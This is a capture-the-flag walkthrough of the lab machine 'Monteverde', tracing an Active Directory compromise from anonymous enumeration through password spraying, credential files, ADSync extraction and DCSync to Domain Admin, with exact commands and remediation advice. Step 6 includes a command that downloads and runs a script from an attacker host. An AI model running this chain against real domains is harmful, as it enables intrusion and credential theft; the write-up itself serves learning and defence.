J. Perez Duertojperezduerto.info
← all walkthroughs

Monteverde

Windows· Medium
owned
2026-07-09
time to own
8m24s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

The MEGABANK.LOCAL domain controller (MONTEVERDE, $TARGET) was fully compromised through a chain of four misconfigurations requiring no exploitation of unpatched software. Unauthenticated LDAP and SMB null sessions handed over the complete domain user list without credentials. A spray of those usernames against themselves as passwords cracked that service account in seconds.

That account had read access to a company-wide SMB share (users$) holding a PowerShell CliXML credential file left over from an Azure AD Connect deployment — decoding it revealed the cleartext password for mhope. A WinRM shell as mhope yielded the user flag. Mhope's membership in the Azure Admins group granted read access to the local Azure AD Connect synchronization database, from which the MSOL service account's credentials were recovered.

That account holds DCSync rights over the domain; a replication request extracted the domain Administrator's NT hash, which was cracked to recover the plaintext password. A WinRM session as domain Administrator captured the root flag — complete domain compromise, from zero credentials to full Domain Admin, with no vulnerability beyond configuration choices.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"
export PASSWORD3="<the-password-you-recovered>"

Some commands also carry a value in angle brackets — <id>, <msol_password> — which you replace inline with what the step before it turned up.

Attack path — how the box was taken

1ReconnaissanceNetwork service enumeration (T1046)
Mapped exposed services on the domain controller
An automated port and service sweep of $TARGET identified a Windows Server 2019 domain controller for MEGABANK.LOCAL. Key services confirmed included Kerberos (88), LDAP (389 and 3268), SMB (445), and WinRM (5985). SMB fingerprinting showed null authentication was permitted and SMBv1 was absent. The presence of WinRM immediately flagged the host as a target for remote shell access once credentials were obtained.
SMB $TARGET 445 MONTEVERDE [*] Windows 10 / Server 2019 Build 17763 x64 (name:MONTEVERDE) (domain:MEGABANK.LOCAL) — SMB signing:True, SMBv1:None, Null Auth:True
Exact commands 2
shell

Version and script scan on common Active Directory / domain controller ports.

$ nmap -sV -sC -p 53,88,135,139,389,445,464,593,636,3268,5985,9389 $TARGET -oN monteverde_ports.txt
shell

Confirm OS version, domain name, SMB signing status, and null-auth availability.

$ nxc smb $TARGET
2EnumerationAnonymous LDAP enumeration and SMB null-session user enumeration (T1087.002)
Harvested the full domain user list without credentials via null sessions
Neither the LDAP service nor the SMB service required credentials for initial enumeration. An anonymous LDAP bind returned all domain user objects, and an RPC null session via rpcclient enumdomusers confirmed the same ten accounts: AAD_987d7f2f57d2, dgalanos, Guest, mhope, roleary, <withheld>, smorgan, svc-ata, svc-bexec, and svc-netapp. This list became the exact wordlist used in the password spray that followed.
Nxc ldap $TARGET -u '' -p '' --users returned 10 domain accounts; rpcclient enumdomusers cross-confirmed the list
Exact commands 3
shell

Anonymous LDAP bind — dumps all domain user accounts without credentials.

$ nxc ldap $TARGET -u '' -p '' --users
shell

SMB null/guest session — confirms unauthenticated access and lists visible shares.

$ nxc smb $TARGET -u 'guest' -p '' --shares
shell

RPC null session — cross-confirms the domain user list via the SAM RPC interface.

$ rpcclient -U "" -N $TARGET -c enumdomusers
FixDisable anonymous and null-session access to LDAP and SMBHigh
WeaknessThe domain controller accepted unauthenticated LDAP binds and SMB null sessions, allowing any host on the network to enumerate the complete list of domain user accounts without supplying a single credential. This user list seeded every subsequent attack step.
FixIn Group Policy (Computer Configuration > Windows Settings > Security Settings > Local Policies > Security Options) set 'Network access: Do not allow anonymous enumeration of SAM accounts' and 'Network access: Do not allow anonymous enumeration of SAM accounts and shares' to Enabled, and set 'Network access: Restrict anonymous access to Named Pipes and Shares' to Enabled. For LDAP, require LDAP signing and channel binding (KB4520412) and deny unauthenticated binds by setting msDS-Other-Settings DenyUnauthenticatedBind=1 via ADSI Edit on the DC. Validate with: nxc smb <dc-ip> -u '' -p '' --users (should return access denied).
3ExploitationPassword spray — username-as-password (T1110.003)
Cracked that service account by spraying usernames as passwords
With ten domain usernames in hand, each was tested as its own password against SMB. The <withheld> service account authenticated successfully with the credential — its password had never been changed from the provisioning default. This gave authenticated SMB and LDAP access to the domain and opened the door to share enumeration.
SMB $TARGET 445 MONTEVERDE [+] MEGABANK.LOCAL\<withheld>
Exact commands 1
shell

Spray each username as its own password; users.txt contains the 10 harvested accounts. --no-bruteforce pairs each user with the password on the same line only.

$ nxc smb $TARGET -d MEGABANK.LOCAL -u users.txt -p users.txt --no-bruteforce --continue-on-success
FixEnforce a password policy that blocks usernames and predictable patterns as passwordsCritical
WeaknessThe <withheld> service account's password was identical to its own username. An automated spray of every enumerated domain username as its own password cracked this account instantly, requiring no brute-force tooling and generating minimal authentication noise.
FixConfigure the Default Domain Password Policy (or a Fine-Grained Password Policy applied to service accounts) to enforce a minimum of 15 characters, complexity requirements, and a password history of at least 24. Deploy Microsoft's Azure AD Password Protection on-premises agent to enforce a banned-password list that explicitly blocks account names and keyboard patterns. Immediately audit all accounts with: nxc smb <dc-ip> -d MEGABANK.LOCAL -u users.txt -p users.txt --no-bruteforce — any hit indicates a password equal to the username. Rotate all service account passwords to randomised values managed by a PAM solution or LAPS.
4ExploitationCredential file theft from network share (T1552.001)
Pulled a cleartext credential file from an over-permissive SMB share
Authenticated as SABatchJobs, share enumeration revealed a users$ share readable by this low-privilege service account. Recursively pulling all files retrieved mhope/azure.xml — a PowerShell CliXML file (UTF-16LE encoded) serialized from a Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential object, left behind from an Azure AD Connect synchronisation setup. Decoding it with iconv exposed mhope's account password in cleartext: <withheld>.
Iconv decoded azure.xml to a PSADPasswordCredential object with UserName=mhope and Password=<withheld>
Exact commands 4
shell

List shares accessible to the spray-cracked service account.

$ nxc smb $TARGET -d MEGABANK.LOCAL -u $PASSWORD3 -p $PASSWORD3 --shares
shell

Recursively download all files from the users$ share into the current directory.

$ smbclient //$TARGET/users$ -U "MEGABANK.LOCAL\$PASSWORD3%$PASSWORD3" -c 'recurse ON; prompt OFF; mget *'
shell

Identify encoding — expect UTF-16LE data stream.

$ file mhope/azure.xml
shell

Convert the CliXML to readable UTF-8; the cleartext password appears in the Password field.

$ iconv -f UTF-16LE -t UTF-8 mhope/azure.xml
FixRestrict the users$ share to owner-only access and purge embedded credential filesCritical
WeaknessThe users$ SMB share granted read access to a low-privilege service account, exposing profile directories for all domain users. One of those directories contained an azure.xml PowerShell credential file with a domain user's plaintext password — left behind from an Azure AD Connect configuration session and never cleaned up.
FixAudit and tighten NTFS and share permissions on users$ so that each user's subdirectory is readable only by that user and Administrators — remove any domain-wide or service-account read grants. Immediately search all shares for credential-bearing files: nxc smb <dc-ip> -d MEGABANK.LOCAL -u <admin> -p <pw> -M spider_plus, then grep results for .xml, .ini, .config, id_rsa, .pfx patterns. Delete any credential files found and rotate the passwords of affected accounts. Treat all CliXML PSCredential files as secrets equivalent to plaintext passwords.
5FootholdValid account — remote services WinRM (T1021.006)
Logged in as mhope via WinRM and captured the user flag
The cleartext password recovered from azure.xml was valid for mhope's active domain account. WinRM on port 5985 accepted the credential and returned the Pwn3d! Banner, confirming an interactive PowerShell session was available. Evil-winrm provided a full shell; the user flag was read directly from mhope's Desktop.
WINRM $TARGET 5985 MONTEVERDE [+] MEGABANK.LOCAL\mhope's password (Pwn3d!)
Exact commands 3
shell

Confirm WinRM access returns Pwn3d! Before opening an interactive session.

$ nxc winrm $TARGET -d MEGABANK.LOCAL -u mhope -p "$PASSWORD"
shell

Open an interactive PowerShell session as mhope.

$ evil-winrm -i $TARGET -u mhope -p "$PASSWORD"
shell

Read the user flag from within the evil-winrm session; value: <user.txt>.

$ Get-Content C:\Users\mhope\Desktop\user.txt
6Privilege EscalationAzure AD Connect credential extraction — ADSync database (T1555 / credential access)
Extracted the MSOL synchronisation account's credentials from the ADSync database
Post-foothold enumeration confirmed mhope is a member of the Azure Admins group and that the Azure AD Connect (ADSync) service is running on this domain controller. Members of Azure Admins can read the local ADSync SQL LocalDB instance. That database stores the credentials for the MSOL synchronisation service account in an encrypted but locally decryptable form (protected using the machine's DPAPI keys). A published PowerShell extraction script (based on Adam Chester's ADSync research) was loaded into the mhope session and recovered the MSOL account's cleartext password. The MSOL account is granted Replicating Directory Changes and Replicating Directory Changes All rights over the domain by default.
Get-Service ADSync returned Running; whoami /all confirmed mhope membership in Azure Admins group; MSOL account cleartext password extracted from ADSync database
Exact commands 4
shell

Inside the evil-winrm session — confirm Azure Admins group membership in the token.

$ whoami /all
shell

Confirm the Azure AD Connect synchronisation service is running on this host.

$ Get-Service ADSync
shell

On my machine — serve the ADSync credential extraction script.

$ python3 -m http.server 80
shell

Inside evil-winrm — download and execute the ADSync credential extractor. Replace $ATTACKER_IP. Outputs the MSOL account username and cleartext password.

$ IEX(New-Object Net.WebClient).DownloadString("http://$ATTACKER_IP/AdDecrypt.ps1")
FixIsolate Azure AD Connect on a dedicated server and restrict ADSync database accessCritical
WeaknessAzure AD Connect was installed directly on the domain controller, and mhope's group membership (Azure Admins) granted read access to the local ADSync SQL database. That database stores the MSOL synchronisation account's credentials in a form that can be decrypted using the local machine's DPAPI keys, meaning any account that can read the database can recover a highly privileged credential.
FixMove the Azure AD Connect installation to a dedicated, hardened member server — not the domain controller — so that access to the ADSync database requires separate credentials and a separate attack path. Remove all unnecessary accounts from the Azure Admins group and enforce just-in-time access for any legitimate administrative need. After any suspected credential exposure, rotate the MSOL account password using the Azure AD Connect wizard and audit group membership for Azure Admins quarterly. Monitor ADSync database file access via Windows file-system auditing.
7Privilege EscalationOS Credential Dumping — DCSync (T1003.006)
DCSync'd the domain using the MSOL account to extract the Administrator's credentials
With the MSOL account's cleartext credentials in hand, secretsdump.py was used to perform a DCSync operation — impersonating a legitimate domain controller replication partner and requesting the Administrator account's password data directly from MEGABANK.LOCAL. This returned the Administrator's NT hash without touching the DC's disk or memory. The hash was cracked offline to recover the plaintext password, enabling full interactive logon.
Administrator plaintext credential authenticated successfully against WinRM after DCSync extraction
Exact commands 2
shell

DCSync the Administrator's NT hash using the MSOL account's recovered credentials. Replace MSOL_<id> and <msol_password> with the values extracted in step 6.

$ impacket-secretsdump "MEGABANK.LOCAL/MSOL_<id>:<msol_password>@$TARGET" -just-dc-user Administrator
shell

Offline crack of the Administrator NT hash; alternatively use pass-the-hash directly with -H flag in evil-winrm.

$ hashcat -m 1000 admin_hash.txt /usr/share/wordlists/rockyou.txt
FixRevoke unnecessary DCSync rights and alert on replication requests from non-DC hostsCritical
WeaknessThe MSOL synchronisation account held Replicating Directory Changes All permission over the domain. Anyone who obtained this account's credentials — as achieved here via the ADSync database — could issue a DCSync replication request and dump every domain account's NT hash, including the built-in Administrator, without ever touching the domain controller's disk or memory.
FixUse the Azure AD Connect Permissions Configuration Wizard to scope the MSOL account to only the permissions required for the configured sync features; revoke Replicating Directory Changes All if password-hash synchronisation is disabled. Monitor for DCSync abuse by alerting on Windows Security Event ID 4662 (object operation) where the object GUID matches {1131f6aa-9c07-11d1-f79f-00c04fc2dcd2} (Replicating Directory Changes All) and the originating IP is not a known domain controller. Consider a Tier-0 AD-tiering model that segments domain replication accounts from all other identity stores.
8Full ControlValid account — domain administrator (T1078.002)
Authenticated as Domain Administrator and captured the root flag
With the domain Administrator's plaintext password in hand, a WinRM session was opened directly as the built-in Administrator account. This yielded full Domain Admin rights across MEGABANK.LOCAL. The root flag was read from the Administrator's Desktop, completing the compromise from zero credentials to domain-wide control.
Nxc winrm $TARGET -u administrator -p <withheld> returned Pwn3d!; root.txt captured
Exact commands 3
shell

Confirm Domain Admin WinRM access before opening a shell.

$ nxc winrm $TARGET -d MEGABANK.LOCAL -u administrator -p "$PASSWORD2"
shell

Open an interactive Domain Admin PowerShell session.

$ evil-winrm -i $TARGET -u administrator -p "$PASSWORD2"
shell

Read the root flag; value: <root.txt>.

$ Get-Content C:\Users\Administrator\Desktop\root.txt

Attack patterns used

The transferable techniques behind this compromise.

DCSyncActive Directory · Credential AccessT1003.006

What it is

DCSync abuses the Directory Replication Service (DRSUAPI) protocol that Domain Controllers use to replicate data. A principal holding the Replicating Directory Changes rights can ask a DC to replicate password hashes for any account — including krbtgt — without touching LSASS, e.g. secretsdump.py -just-dc. Recovering krbtgt enables Golden Tickets.

Why it works

Replication rights are meant only for DCs and a few admin roles; over-delegation (or compromise of a privileged account) lets an unauthorised user impersonate a DC. Remediate by auditing who holds replication rights and monitoring DRSUAPI requests from non-DC hosts.

Read more

Exposed services

53/tcp
88/tcp
135/tcp
139/tcp
389/tcp
445/tcp
464/tcp
593/tcp
636/tcp
3268/tcp
5985/tcp
9389/tcp
49666/tcp
49673/tcp
49674/tcp
49676/tcp
49696/tcp

Techniques used

New to these ideas? Learn the concepts in Hack & Learn.